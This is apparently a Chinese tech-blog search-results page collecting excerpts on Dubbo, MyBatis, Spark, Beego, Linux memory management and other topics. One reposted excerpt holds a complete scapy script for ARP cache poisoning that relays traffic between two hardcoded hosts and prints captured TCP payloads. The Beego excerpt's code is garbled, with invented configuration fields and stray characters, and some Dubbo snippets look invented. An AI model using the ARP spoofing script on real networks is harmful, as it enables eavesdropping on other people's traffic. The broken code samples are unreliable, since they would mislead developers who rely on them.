前端技术
HTML
CSS
Javascript
前端框架和UI库
VUE
ReactJS
AngularJS
JQuery
NodeJS
JSON
Element-UI
Bootstrap
Material UI
服务端和客户端
Java
Python
PHP
Golang
Scala
Kotlin
Groovy
Ruby
Lua
.net
c#
c++
后端WEB和工程框架
SpringBoot
SpringCloud
Struts2
MyBatis
Hibernate
Tornado
Beego
Go-Spring
Go Gin
Go Iris
Dubbo
HessianRPC
Maven
Gradle
数据库
MySQL
Oracle
Mongo
中间件与web容器
Redis
MemCache
Etcd
Cassandra
Kafka
RabbitMQ
RocketMQ
ActiveMQ
Nacos
Consul
Tomcat
Nginx
Netty
大数据技术
Hive
Impala
ClickHouse
DorisDB
Greenplum
PostgreSQL
HBase
Kylin
Hadoop
Apache Pig
ZooKeeper
SeaTunnel
Sqoop
Datax
Flink
Spark
Mahout
数据搜索与日志
ElasticSearch
Apache Lucene
Apache Solr
Kibana
Logstash
数据可视化与OLAP
Apache Atlas
Superset
Saiku
Tesseract
系统与容器
Linux
Shell
Docker
Kubernetes
[IRB工具在Ruby代码实时测试中的应用]的搜索结果
这里是文章列表。热门标签的颜色随机变换,标签颜色没有特殊含义。
点击某个标签可搜索标签相关的文章。
点击某个标签可搜索标签相关的文章。
转载文章
...范式的灵活变通和创新应用。 此外,NewSQL数据库的兴起旨在结合传统关系数据库严格的一致性和NoSQL数据库的可扩展性优势,通过诸如水平分区、多主复制等机制,在保证事务处理能力的同时,有效降低数据冗余和异常情况的发生。 实际上,很多现代数据库设计实践中,并不完全拘泥于三大范式,而是根据业务需求权衡规范化与性能的关系。例如,对于频繁查询且更新较少的关联数据,即使违反第三范式而进行适度冗余,只要配合恰当的数据同步策略,也能在确保数据一致性的同时提高系统整体性能。 总而言之,虽然三大范式为数据库设计提供了基本准则,但实际应用场景中的复杂性和多样性使得我们不能机械地套用规范,而应结合新技术的发展与业务需求变化,灵活运用并适时调整数据库设计策略,以实现最优的数据存储与访问效果。同时,对于那些追求更高级别的数据完整性和一致性的场景,比如金融交易系统、医疗信息系统等领域,三大范式及其实现原理仍然是不可或缺的核心知识基础。
2023-02-25 18:48:38
164
转载
Dubbo
...又灵活多变,在企业级应用的大舞台上那可是大显身手,得到了无数的青睐和广泛应用呢!本文将通过实例讲解如何利用Dubbo进行高性能、高吞吐量的服务调用。 二、Dubbo简介 Dubbo是一个高性能、轻量级的Java企业级远程服务调用框架,它提供了一套简单的接口定义、协议编解码、序列化、动态配置等设施,使得开发者可以更专注于业务逻辑,而无需关心服务间通信的问题。 三、Dubbo架构图 Dubbo的主要组成部分包括注册中心、客户端和服务端。客户端就像个精明的小侦探,它通过服务的大名(名称)、版本号、参数类型这些线索,再加上服务的具体地址这个关键坐标,就能找到对应的服务提供者。然后,它就会像我们平时向朋友发起请求那样,自信满满地向服务提供者抛出自己的需求。当服务提供者收到请求时,它会立马开始执行那些相应的业务操作步骤,就像是在玩一个“处理请求”的游戏一样。完成后,他们会像快递小哥一样,迅速地把结果打包好,然后妥妥地送回到客户端手中。注册中心用于存储服务提供者的元数据信息,方便客户端查找。 四、Dubbo的优点 Dubbo具有以下优点: 1. 高效 Dubbo支持多种协议(HTTP、TCP等),并且提供了本地和远程两种调用方式,可以根据实际情况选择最优的调用方式。 2. 灵活 Dubbo支持多种序列化方式(Hessian、Java对象、Protobuf等),可以根据服务的特性选择最合适的序列化方式。 3. 可靠 Dubbo提供了多种调用策略(轮询、随机、权重、优先等),可以根据服务的负载情况选择最适合的调用策略。 4. 容错 Dubbo提供了多种容错机制(超时重试、熔断器等),可以在保证系统稳定性的前提下提高系统的可用性和健壮性。 五、如何利用Dubbo进行高性能、高吞吐量的服务调用? 1. 使用Dubbo的本地调用模式 当服务之间可以直接通信时,可以选择本地调用模式,避免网络延迟带来的影响。 java dubbo://127.0.0.1:8080/com.example.MyService?anyhost=true&application=consumer&check=false&default.impl=com.example.MyServiceImpl&default.version=1.0.0&interface=com.example.MyService 2. 使用Dubbo的多线程模型 通过配置Dubbo的多线程模型,可以充分利用多核CPU的优势,提高服务的处理能力。 java 3. 使用Dubbo的集群模式 通过配置Dubbo的集群模式,可以将一个服务部署在多个节点上,当某个节点出现问题时,可以通过其他节点提供服务,从而提高服务的可用性。 xml 4. 使用Dubbo的负载均衡模式 通过配置Dubbo的负载均衡模式,可以将请求均匀地分发到多个节点上,从而提高服务的处理能力。 xml 六、结论 Dubbo是一款非常优秀的服务框架,它提供了丰富的功能和灵活的配置选项,可以帮助我们轻松构建高效、稳定的分布式系统。然而,别误会,Dubbo虽然强大,但可不是什么都能解决的神器。在实际操作中,我们得根据实际情况灵活应对,适当做出调整和优化,这样才能让它更好地服务于我们的需求。只有这样,才能充分发挥出Dubbo的优势,满足我们的需求。
2023-03-29 22:17:36
449
晚秋落叶-t
转载文章
...于此类基础算法优化及应用的研究进展。近年来,随着计算理论与算法复杂性研究的不断发展,对于素数分解、最大公约数与最小公倍数计算等基础问题,科研人员持续寻找更高效、实用的方法。 例如,在2021年的一项最新研究成果中,研究人员提出了一种基于量子计算的新型算法,能够在理论上极大地缩短计算多个大整数最小公倍数所需的时间,这对于密码学、大数据处理等领域具有潜在的重大意义。与此同时,也有团队利用深度学习技术对数论问题进行建模,尝试通过神经网络逼近复杂的数论函数关系,以期在实际运算中达到更高的效率。 此外,对于编程教育和竞赛领域,求解多个数的最大公约数与最小公倍数问题一直是经典题目之一,各类教材和在线课程也不断更新教学方法,将上述文章所述向量变换算法等现代数学成果融入其中,帮助学生更好地理解和掌握这一关键知识点。 综上所述,求解多个数的最小公倍数不仅是一个纯数学问题,它还在计算机科学、密码学乃至教育领域发挥着重要作用,并随着科学技术的进步而不断演进。未来,我们期待看到更多创新性的解决方案,以应对更大规模、更高复杂度的实际问题挑战。
2023-10-04 16:29:43
39
转载
MyBatis
...问题。全文搜索在很多应用场景中都是不可或缺的功能,比如搜索引擎、电商商品检索等。MyBatis 这个挺不错的 ORM 框架虽然自己不带全文搜索的功能,但咱们可以用一些小技巧和巧妙的设置,在 MyBatis 项目里搞定全文搜索的需求。接下来,让我们一起深入探索如何避免常见的配置错误,让全文搜索更加高效。 1. 全文搜索的基础概念与需求分析 首先,我们需要明白全文搜索是什么。简单说吧,全文搜索就像是在一大堆乱七八糟的书里迅速找到包含你想要的关键字的那一段,挺方便的。与简单的字符串匹配不同,全文搜索可以处理更复杂的查询条件,比如忽略大小写、支持布尔逻辑运算等。在数据库层面,这通常涉及到使用特定的全文索引和查询语法。 假设你正在开发一个电商平台,用户需要能够通过输入关键词快速找到他们想要的商品信息。要是咱们数据库里存了好多商品描述,那单靠简单的LIKE查询可能就搞不定事儿了,速度会特别慢。这时候,引入全文搜索就显得尤为重要。 2. MyBatis中实现全文搜索的基本思路 在MyBatis中实现全文搜索并不是直接由框架提供的功能,而是需要结合数据库本身的全文索引功能来实现。不同的数据库在全文搜索这块各有各的招数。比如说,MySQL里的InnoDB引擎就支持全文索引,而PostgreSQL更是自带强大的全文搜索功能,用起来特别方便。这里我们以MySQL为例进行讲解。 2.1 数据库配置 首先,你需要确保你的数据库支持全文索引,并且已经为相关字段启用了全文索引。比如,在MySQL中,你可以这样创建一个带有全文索引的表: sql CREATE TABLE product ( id INT AUTO_INCREMENT PRIMARY KEY, name VARCHAR(255), description TEXT, FULLTEXT(description) ); 这里,我们为description字段添加了一个全文索引,这意味着我们可以在这个字段上执行全文搜索。 2.2 MyBatis映射文件配置 接下来,在MyBatis的映射文件(Mapper XML)中定义相应的SQL查询语句。这里的关键在于正确地构建全文搜索的SQL语句。比如,假设我们要实现根据商品描述搜索商品的功能,可以这样编写: xml SELECT FROM product WHERE MATCH(description) AGAINST ({keyword} IN NATURAL LANGUAGE MODE) 这里的MATCH(description) AGAINST ({keyword})就是全文搜索的核心部分。“IN NATURAL LANGUAGE MODE”就是用大白话来搜东西,这种方式更直接、更接地气。搜出来的结果也会按照跟你要找的东西的相关程度来排个序。 3. 实际应用中的常见问题及解决方案 在实际开发过程中,可能会遇到一些配置不当导致全文搜索功能失效的情况。这里,我将分享几个常见的问题及其解决方案。 3.1 搜索结果不符合预期 问题描述:当你执行全文搜索时,发现搜索结果并不是你期望的那样,可能是因为搜索关键词太短或者太常见,导致匹配度不高。 解决方法:尝试调整全文搜索的模式,比如使用BOOLEAN MODE来提高搜索精度。此外,确保搜索关键词足够长且具有一定的独特性,可以显著提高搜索效果。 xml SELECT FROM product WHERE MATCH(description) AGAINST ({keyword} IN BOOLEAN MODE) 3.2 性能瓶颈 问题描述:随着数据量的增加,全文搜索可能会变得非常慢,影响用户体验。 解决方法:优化索引设计,比如适当减少索引字段的数量,或者对索引进行分区。另外,也可以考虑在应用层缓存搜索结果,减少数据库负担。 4. 总结与展望 通过上述内容,我们了解了如何在MyBatis项目中正确配置全文搜索功能,并探讨了一些实际操作中可能遇到的问题及解决策略。全文搜索这东西挺强大的,但你得小心翼翼地设置才行。要是设置得好,不仅能让人用起来更爽,还能让整个应用变得更全能、更灵活。 当然,这只是全文搜索配置的一个起点。随着业务越做越大,技术也越来越先进,我们可以试试更多高大上的功能,比如支持多种语言,还能处理同义词啥的。希望本文能对你有所帮助,如果有任何疑问或想法,欢迎随时交流讨论! --- 希望这篇文章能够帮助到你,如果有任何具体的需求或者想了解更多细节,随时告诉我!
2024-11-06 15:45:32
135
岁月如歌
Spark
...来,就大大减少了整个应用程序需要等待的时间,让效率嗖嗖提升! 原理 在Spark中,默认情况下是关闭推测执行的,但在大型集群环境下开启该特性可以显著提升作业性能。Spark通过监控各个任务的执行进度和速度差异,基于内置的算法来决定是否需要启动推测任务。这种策略能够应对潜在的硬件故障、网络波动以及其他难以预估的因素造成的执行延迟。 3. 如何启用Spark的推测执行 为了直观地展示如何启用Spark的推测执行,我们可以查看SparkConf的配置示例: scala import org.apache.spark.SparkConf val sparkConf = new SparkConf() .setAppName("SpeculationDemo") .setMaster("local[4]") // 或者是集群模式 .set("spark.speculation", "true") // 启用推测执行 val sc = new SparkContext(sparkConf) 在这个示例中,我们设置了spark.speculation为true以启用推测执行。当然,在真实的工作场景里,咱们也得灵活应变,根据实际工作任务的大小和资源状况,对一些参数进行适当的微调。比如那个推测执行的触发阈值(spark.speculation.multiplier),就像调节水龙头一样,要找到适合当前环境的那个“度”。 4. 推测执行的实际效果与案例分析 假设我们正在处理一个包含大量分区的数据集,其中一个分区的数据量远大于其他分区,导致负责该分区的任务执行时间过长。以下是Spark内部可能发生的推测执行过程: - Spark监控所有任务的执行状态和速度。 - 当发现某个任务明显落后于平均速度时,决定启动一个新的推测任务处理相同的分区数据。 - 如果推测任务完成了计算并且比原任务更快,则采用推测任务的结果,并取消原任务。 - 最终,即使存在数据倾斜,整个作业也能更快地完成。 5. 探讨与权衡 尽管推测执行对于改善性能具有积极意义,但并不是没有代价的。额外的任务副本会消耗更多的计算资源,如果频繁错误地推测,可能导致集群资源浪费。所以,在实际操作时,我们得对作业的特性有接地气、实实在在的理解,然后根据实际情况灵活把握,找到资源利用和执行效率之间的那个微妙平衡点。 总之,Spark的推测执行机制是一个聪明且实用的功能,它体现了Spark设计上的灵活性和高效性。当你碰上那种超大规模、复杂到让人挠头的分布式计算环境时,巧妙地利用推测执行这个小窍门,就能帮咱们更好地玩转Spark。这样一来,甭管遇到什么难题挑战,Spark都能稳稳地保持它那傲人的高性能表现,妥妥的!下次你要是发现Spark集群上的任务突然磨磨蹭蹭,不按套路出牌地延迟了,不如尝试把这个神奇的功能开关打开试试,没准就能收获意想不到的惊喜效果!说到底,就像咱们人类在解决问题时所展现的机智劲儿那样,有时候在一片迷茫中摸索出最佳答案,这恰恰就是技术发展让人着迷的地方。
2023-03-28 16:50:42
329
百转千回
转载文章
...T WebForms应用程序的高级编辑器控件,它提供了一种用户友好的界面,允许用户从下拉列表中选择一个值。这个控件在文章中被用来实现前端显示数据库信息的功能,支持丰富的定制化和事件处理功能。 TreeList控件 , TreeList控件同样是由DevExpress提供的ASP.NET WebForms组件,用于展示具有层次结构(树状结构)的数据,每一项可以展开以查看其子项。在项目中,TreeList控件嵌入到ASPxDropDownEdit控件内,实现了下拉菜单形式的树级结构选择,使得用户可以在下拉框中直观地浏览和选择层级数据。 CASE WHEN语句 , CASE WHEN是SQL中的一种条件表达式,用于根据给定的条件执行不同的计算或返回不同的值。在文章所提及的SQL查询示例中,CASE WHEN用于对 DUTIES_ID 字段进行判断,当其值等于特定值时返回0,否则返回1,以此作为排序依据,确保特定值对应的记录在下拉菜单中优先显示。
2023-06-20 18:50:13
307
转载
转载文章
...tl是Systemd工具集中的一部分,在现代Linux发行版中广泛用于管理系统服务、守护进程以及查看系统状态等任务。在文章中,使用systemctl命令停止防火墙服务、禁止其开机自启动,以及管理MySQL服务的启动、停止与开机自动启动设置。 MySQL.sock , 在Linux环境下,MySQL客户端和服务端通信通常会通过一个Unix域套接字文件进行,即MySQL.sock。它是MySQL内部用于本地连接的一种通信方式,当MySQL服务启动后会在指定的socket路径生成该文件。在本文中,通过建立软链接解决了MySQL无法通过预设的socket路径连接的问题。 chkconfig , chkconfig是一个在某些Linux发行版(如RHEL/CentOS系列)中用来管理系统服务启动项的工具,可以查询或修改服务随系统启动级别自动启动或关闭的状态。在文章中,作者用chkconfig命令将MySQL服务设置为开机自动启动,但在较新的Linux版本中,这一功能已被systemctl命令替代。
2023-05-24 19:00:46
118
转载
Beego
...我们开发一个网站或者应用时,我们通常需要与数据库进行交互。为了提高效率和降低开销,我们会使用数据库连接池。然而,在某些情况下,可能会遇到“数据库连接池耗尽”的问题。本文将详细介绍这个问题以及如何在Beego框架中解决它。 2. 什么是数据库连接池? 数据库连接池是一种管理数据库连接的技术。它可以预先创建多个数据库连接,并将它们放入一个池中。当应用程序需要访问数据库时,可以从连接池中获取一个可用的连接。使用完后,将连接放回池中,而不是立即关闭,以便下次再使用。这种方式可以避免频繁地打开和关闭数据库连接,从而提高了性能。 3. 为什么会出现“数据库连接池耗尽”? 数据库连接池中的连接数量是有限的。要是请求量太大,把连接池的承受极限给顶破了,那么新的请求就得暂时等等啦,等到有足够的连接资源能用的时候才能继续进行。这就是“数据库连接池耗尽”的原因。 4. 如何解决“数据库连接池耗尽”? 以下是几种解决“数据库连接池耗尽”的方法: 4.1 增加数据库连接池的大小 如果你的应用对数据库的访问量很大,但是连接池的大小不足以满足需求,那么你可以考虑增加连接池的大小。这可以通过修改配置文件来实现。比如,在使用Beego时,你完全可以调整DBConfig.MaxIdleConns和DBConfig.MaxOpenConns这两个属性,这样一来,就能轻松控制数据库的最大空闲连接数和最大活跃连接数了,就像在管理你的小团队一样,灵活调配人手。 go beego.BConfig.WebConfig.Database = "mysql" beego.BConfig.WebConfig.DbName = "testdb" beego.BConfig.WebConfig.Driver = "github.com/go-sql-driver/mysql" beego.BConfig.WebConfig.DefaultDb = "default" beego.BConfig.WebConfig.MaxIdleConns = 100 beego.BConfig.WebConfig.MaxOpenConns = 200 4.2 使用连接池分片策略 这种方法可以将连接池划分为多个子池,每个子池独立处理来自不同用户的应用程序请求。这样可以防止单个子池由于过高的并发访问而耗尽连接。在Beego中,你可以在启动服务器时自定义数据库连接池,如下所示: go db, err := sql.Open("mysql", "root:password@/dbname") if err != nil { log.Fatal(err) } defer db.Close() pool := &sqlx.Pool{ DSN: "user=root password=pass dbname=testdb sslmode=disable", MaxIdleTime: time.Minute 5, } beego.InsertFilter("", beego.BeforeRouter, pool.Ping问一) 4.3 使用更高效的查询语句 高效的查询语句可以减少数据库连接的使用。例如,你可以避免在查询中使用不必要的表连接,尽量使用索引等。另外,我跟你说啊,尽量别一次性从数据库里捞太多数据,你想想哈,拿的数据越多,那连接数据库的“负担”就越重。就跟你一次性提太多东西,手上的袋子不也得承受更多压力嘛,道理是一样的。所以呢,咱悠着点,分批少量地拿数据才更明智。 4.4 调整应用负载均衡策略 如果你的应用在一个多台机器上运行,那么你可以通过调整负载均衡策略来平衡数据库连接的分配。比如,你完全可以根据每台机器上当前的实际连接使用状况,灵活地给它们分配对数据库的访问权限,就像在舞池里根据音乐节奏调整舞步那样自然流畅。 5. 结论 以上就是我在Beego中解决“数据库连接池耗尽”问题的一些方法。需要注意的是,不同的应用场景可能需要采用不同的解决方案。所以在实际动手干的时候,你得根据自己具体的需求和所处的环境,灵活机动地挑出最适合自己的方法。就像是在超市选商品,不同的需求对应不同的货架,不同的环境就像不同的购物清单,你需要智慧地“淘宝”,选出最对的那个“宝贝”方式。
2023-08-08 14:54:48
553
蝶舞花间-t
转载文章
...擎等服务端技术在实际应用中可能出现的问题及解决方案的重要性。 深入探究战神引擎这类手游服务端架构,其稳定性与效率直接影响着数百万玩家的游戏体验。除了本文提到的基础排查步骤外,对于技术人员而言,理解并熟练掌握更深层次的网络通信原理、数据库优化策略以及Lua脚本编写规范同样至关重要。例如,如何根据服务器性能动态调整并发连接数,或者通过定期维护更新确保数据库高效运行,这些都要求开发者具备扎实的专业知识和丰富的实战经验。 此外,随着云服务器技术的广泛应用,许多游戏厂商选择将服务端部署于云端,这不仅减轻了硬件设备维护的压力,还提供了灵活扩展资源的能力。然而,这也对服务端引擎的兼容性与可迁移性提出了更高要求。因此,关注战神引擎等手游服务端技术在云环境下的最佳实践,及时了解并适应相关技术发展趋势,同样是提升手游服务质量的关键所在。 同时,值得注意的是,网络安全法规日趋严格,服务器安全防护措施的建设亦是手游运营者不可忽视的工作内容。针对各类可能存在的攻击风险,如DDoS攻击、数据泄露等,需要结合服务端技术特点,制定并实施相应的安全策略,以保障玩家信息安全,避免因安全事件影响游戏运营。 综上所述,无论是从基础的服务器配置与维护,还是到前沿的云计算整合、网络安全防御,手游服务端技术的探讨与实践始终处于不断进步与完善的阶段。作为游戏开发者与运营者,紧跟时代步伐,持续深化技术认知,才能更好地应对各种挑战,为玩家提供稳定流畅且安全可靠的游戏环境。
2023-02-27 13:11:20
375
转载
转载文章
...的抉择以及战术策略的应用,生动再现了反恐斗争的复杂性与艰巨性。 事实上,《第六计》所涉及的心理战与虚实之道,在现代反恐实战中亦被广泛应用。例如,近期美国联邦调查局成功瓦解一起重大恐怖袭击阴谋,便是通过对嫌疑人线上线下活动的精准分析,运用心理战术诱导其暴露真实意图,这一案例无疑是对《孙子兵法》智慧在现代社会灵活运用的有力佐证。 此外,随着科技的进步,如今的反恐手段也从单纯的人力追踪转变为大数据分析、人工智能预测等高科技方式,而如何在高科技辅助下,依然坚守人性、法律与道德底线,实现对恐怖主义的有效打击,也是值得我们深入探讨和研究的问题。通过回顾像《第六计》这样的经典影视作品,不仅可以领略到艺术表现手法的魅力,更可以激发我们在现实中面对危机时思考更为周全、深邃的战略布局与决策智慧。
2023-05-10 09:20:27
618
转载
转载文章
...re 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
560
转载
转载文章
...制以应对复杂的企业级应用场景,这不仅要求我们了解现有的基本权限设置和特殊权限,更要紧跟技术前沿,洞悉潜在的变化趋势。 总之,无论是在日常运维中加强用户与用户组管理,还是面对不断发展的Linux权限体系进行深入研究,都需要结合最新技术和行业动态,不断提升自身的理论素养与实践能力。
2023-01-10 22:43:08
547
转载
转载文章
...对较低,但深入理解和应用仍需系统化的训练及大量的实践操作。自学虽可节省经济成本,但在时间管理、知识梳理及项目实操等方面可能面临挑战。因此,选择适合自己的学习路径至关重要,可以结合自身情况考虑是否参加培训班,或者利用丰富的在线教育资源进行自我提升。 同时,随着新兴技术的快速发展,学习Python不仅仅是为了应对眼前的就业竞争,更是为了构建个人在未来智能社会中的核心竞争力。无论选择何种方式学习,持之以恒的学习态度与勇于实践的精神都是成功的关键。对于有志于从事相关行业或提升自我的人士来说,把握住Python这一风口,无疑是在为自己的职业生涯增添重要砝码。
2023-07-01 23:27:10
313
转载
Dubbo
...化展开讨论,分享实际应用中的经验和技巧,旨在帮助开发者在构建分布式服务时,能够更高效地利用Dubbo,提升系统整体性能。 二、Dubbo基础概览 Dubbo的核心功能包括远程调用、服务注册与发现、负载均衡等,它支持多种通信协议,并且提供了一套完整的开发框架。哎呀,用Dubbo开发啊?那可得好好琢磨琢磨!首先,得想想怎么合理地给服务器和客户端搭桥铺路,就像给好朋友之间搭建方便沟通的桥梁一样。别让信息传得慢吞吞的,还得考虑怎么优化服务,就像给跑车换上更轻便、更给力的引擎,让性能飙起来!毕竟,谁都不想自己的程序像蜗牛一样爬行吧?所以,得花点心思在这上面,让用户体验嗖的一下就上去了! 三、性能优化策略 1. 网络层优化 - 减少网络延迟:通过减少数据包大小、优化编码方式、使用缓存机制等方式降低网络传输的开销。 - 选择合适的网络协议:根据实际应用场景选择HTTP、TCP或其他协议,HTTP可能在某些场景下提供更好的性能和稳定性。 2. 缓存机制 - 服务缓存:利用Dubbo的本地缓存或第三方缓存如Redis,减少对远程服务的访问频率,提高响应速度。 - 结果缓存:对于经常重复计算的结果,可以考虑将其缓存起来,避免重复计算带来的性能损耗。 3. 负载均衡策略 - 动态调整:根据服务的负载情况,动态调整路由规则,优先将请求分发给负载较低的服务实例。 - 健康检查:定期检查服务实例的健康状态,剔除不可用的服务,确保请求始终被转发到健康的服务上。 4. 参数优化 - 调优配置:合理设置Dubbo的相关参数,如超时时间、重试次数、序列化方式等,以适应不同的业务需求。 - 并发控制:通过合理的线程池配置和异步调用机制,有效管理并发请求,避免资源瓶颈。 四、实战案例 案例一:服务缓存实现 java // 配置本地缓存 @Reference private MyService myService; public void doSomething() { // 获取缓存,若无则从远程调用获取并缓存 String result = cache.get("myKey", () -> myService.doSomething()); System.out.println("Cache hit/miss: " + (result != null ? "hit" : "miss")); } 案例二:动态负载均衡 java // 创建负载均衡器实例 LoadBalance loadBalance = new RoundRobinLoadBalance(); // 配置服务列表 List serviceUrls = Arrays.asList("service1://localhost:8080", "service2://localhost:8081"); // 动态选择服务实例 String targetUrl = loadBalance.choose(serviceUrls); MyService myService = new RpcReference(targetUrl); 五、总结与展望 通过上述的实践分享,我们可以看到,Dubbo的性能优化并非一蹴而就,而是需要在实际项目中不断探索和调整。哎呀,兄弟,这事儿啊,关键就是得会玩转Dubbo的各种酷炫功能,然后结合你手头的业务场景,好好打磨打磨那些参数,让它发挥出最佳状态。就像是调酒师调鸡尾酒,得看人下菜,看场景定参数,这样才能让产品既符合大众口味,又能彰显个性特色。哎呀,你猜怎么着?Dubbo这个大宝贝儿,它一直在努力学习新技能,提升自己呢!就像咱们人一样,技术更新换代快,它得跟上节奏,对吧?所以,未来的它呀,肯定能给咱们带来更多简单好用,性能超棒的功能!这不就是咱们开发小能手的梦想嘛——搭建一个既稳当又高效的分布式系统?想想都让人激动呢! 结语 在分布式系统构建的过程中,性能优化是一个持续的过程,需要开发者具备深入的理解和技术敏感度。嘿!小伙伴们,如果你是Dubbo的忠实用户或者是打算加入Dubbo大家庭的新手,这篇文章可是为你量身打造的!我们在这里分享了一些实用的技巧和深刻的理解,希望能激发你的灵感,让你在使用Dubbo的过程中更得心应手,共同创造分布式系统那片美丽的天空。快来一起探索,一起成长吧!
2024-07-25 00:34:28
410
百转千回
转载文章
...b库的内存管理算法 应用程序从lib库申请内存后,根据应用程序本身的程序特性进行优化, 比如使用引用计数std::shared_ptr,内存池方式等等。 1. 用户空间内存管理 目前大部分用户控件程序使用glibc提供的malloc/free系列函数,而glibc使用的ptmalloc2在性能上远远弱后于google的tcmalloc和facebook的jemalloc。 而且后两者只需要使用LD_PRELOAD环境变量启动程序即可,甚至并不需要重新编译。 1.1 ptmalloc2 malloc是一个C库中的函数,malloc向glibc请求内存空间。glibc初始分配或者通过brk和sbrk或者mmap向内核批发内存,然后“卖”给我们malloc使用。 既然brk、mmap提供了内存分配的功能,直接使用brk、mmap进行内存管理不是更简单吗,为什么需要glibc呢? 因为系统调用,导致程序从用户态陷入内核态,比较消耗资源。为了减少系统调用带来的性能损耗,glibc采用了内存池的设计,增加了一个代理层,每次内存分配,都优先从内存池中寻找,如果内存池中无法提供,再向操作系统申请。 1.2 tcmalloc tcmalloc 是google开发的内存分配算法库,用来替代传统的malloc内存分配函数,它有减少内存碎片,适用于多核,更好的并行性支持等特性。 要使用tcmalloc,只要将tcmalloc通过-ltcmalloc连接到应用程序即可。 也可以使用LD_PRELOAD在不是你自己编译的应用程序中使用:$ LD_PRELOAD="/usr/lib/libtcmalloc.so" 2. 内核空间内存管理 linux操作系统内核,将内存分为一个个页去管理。 2.1 页面管理算法–伙伴系统 在实际应用中,而频繁地申请和释放不同大小的连续页框,必然导致在已分配页框的内存块中分散了许多小块的空闲页框。这样,即使这些页框是空闲的,其他需要分配连续页框的应用也很难得到满足。 为了避免出现这种内存碎片,Linux内核中引入了伙伴系统算法(buddy system)。 2.1.1 Buddy(伙伴的定义) 满足以下三个条件的称为伙伴: 1)两个块大小相同; 2)两个块地址连续; 3)两个块必须是同一个大块中分离出来的; 2.1.2 Buddy算法的分配 假设要申请一个256个页框的块,先从256个页框的链表中查找空闲块,如果没有,就去512个页框的链表中找,找到了则将页框块分为2个256个页框的块,一个分配给应用,另外一个移到256个页框的链表中。如果512个页框的链表中仍没有空闲块,继续向1024个页框的链表查找,如果仍然没有,则返回错误。 2.1.3 Buddy算法的释放 内存的释放是分配的逆过程,也可以看作是伙伴的合并过程。页框块在释放时,会主动将两个连续的页框块合并为一个较大的页框块。 2.2 Slab机制 slab是Linux操作系统的一种内存分配机制。其工作是针对一些经常分配并释放的对象,如进程描述符等,这些对象的大小一般比较小,如果直接采用伙伴系统来进行分配和释放,不仅会造成大量的内碎片,而且处理速度也太慢。 而slab分配器是基于对象进行管理的,相同类型的对象归为一类(如进程描述符就是一类),每当要申请这样一个对象,slab分配器就从一个slab列表中分配一个这样大小的单元出去,而当要释放时,将其重新保存在该列表中,而不是直接返回给伙伴系统,从而避免这些内碎片。slab分配器并不丢弃已分配的对象,而是释放并把它们保存在内存中。当以后又要请求新的对象时,就可以从内存直接获取而不用重复初始化。 2.3 内核中申请内存的函数 2.3.1 __get_free_pages __get_free_pages函数是最原始的内存分配方式,直接从伙伴系统中获取原始页框,返回值为第一个页框的起始地址. 2.3.2 kmem_cache_alloc kmem_cache_create/ kmem_cache_alloc是基于slab分配器的一种内存分配方式,适用于反复分配释放同一大小内存块的场合。首先用kmem_cache_create创建一个高速缓存区域,然后用kmem_cache_alloc从 该高速缓存区域中获取新的内存块。 2.3.3 kmalloc kmalloc是内核中最常用的一种内存分配方式,它通过调用kmem_cache_alloc函数来实现。 kmalloc() 申请的内存位于物理内存映射区域,而且在物理上也是连续的,它们与真实的物理地址只有一个固定的偏移,因为存在较简单的转换关系,所以对申请的内存大小有限制,不能超过128KB。 较常用的flags()有: GFP_ATOMIC —— 不能睡眠; GFP_KERNEL —— 可以睡眠; GFP_DMA —— 给 DMA 控制器分配内存,需要使用该标志。 2.3.4 vmalloc vmalloc() 函数则会在虚拟内存空间给出一块连续的内存区,但这片连续的虚拟内存在物理内存中并不一定连续。由于 vmalloc() 没有保证申请到的是连续的物理内存,因此对申请的内存大小没有限制,如果需要申请较大的内存空间就需要用此函数了。 注意vmalloc和vfree时可以睡眠的,因此不能从中断上下问调用。 一般情况下,内存只有在要被 DMA 